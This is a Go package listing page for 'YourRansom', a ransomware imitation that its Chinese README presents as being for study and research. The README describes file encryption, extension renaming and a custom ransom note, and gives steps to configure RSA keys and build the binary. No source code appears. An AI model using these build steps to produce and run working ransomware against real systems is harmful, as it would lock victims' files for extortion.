Discover Packages
github.com/chenhao5188/YourRansom
command
module
Version:
v0.0.0-...-1d39248
Opens a new window with list of versions in this module.
Published: Apr 8, 2017
License: GPL-3.0
Opens a new window with license information.
Imports: 12
Opens a new window with list of imports.
Imported by: 0
Opens a new window with list of known importers.
README
README
¶
YourRansom
简单地用Golang写的“勒索软件”仿制品,仅用于学习和研究,实现了基本的加密、解密、改扩展名操作。支持自行设定readme文件、在线下载readme文件、自定义文件后缀名和提示信息。
加密后的key将存于同目录下YourRansom.key
文件,该文件解密后得到YourRansom.dkey
置于同目录,再次执行软件本体即可解密。
名字向前辈 Tlaster/YourAV 致敬。
TOC
使用指南
下载并安装Golang环境:https://golang.org/doc/install
使用go get下载该项目到本地:go get github.com/popu125/YourRansom
修改YourRansom的参数,使用您的文本编辑器打开$GOPATH/src/github.com/popu125/YourRansom/data.go
,如果您未设置GOPATH
环境变量,那么打开$HOME/go/src/github.com/popu125/YourRansom/data.go
(Unix-like)或%USERPROFILE%\go\src\github.com\popu125\YourRansom\data.go
(Windows)
编译YourRansom,执行:go build -x github.com/popu125/YourRansom
,编译完成的可执行文件将存于当前工作目录。
目前已提供视频教程,第一次录有些语无伦次还请原谅。https://vimeo.com/212410532
注意事项
解密
解密需要将加密时生成的key文件使用解密工具 和配置中的公钥所对应的RSA私钥解密为dkey文件后与YourRansom程序置于同目录,并再次运行YourRansom。
解密key的步骤可以参考:https://goo.gl/Z8uc5l
RSA密钥对
一个RSA密钥对由一个公钥和一个私钥组成,YourRansom参数中需要填入的是公钥,但请务必妥善保管私钥。
关于如何生成,可以使用我们提供的生成工具 。
LICENSE
基于GPLv3协议和[不作恶]附加协议开源。
[不作恶]附加协议内容在LICENSE.additional
文件中。
Expand ▾
Collapse ▴
Documentation
¶
You also need to use it under [DO NOT BE EVIL] ADDITIONAL LICENSE, There
is a copy of [DO NOT BE EVIL] ADDITIONAL LICENSE with this program in git
repo.
Source Files
¶
Click to show internal directories.
Click to hide internal directories.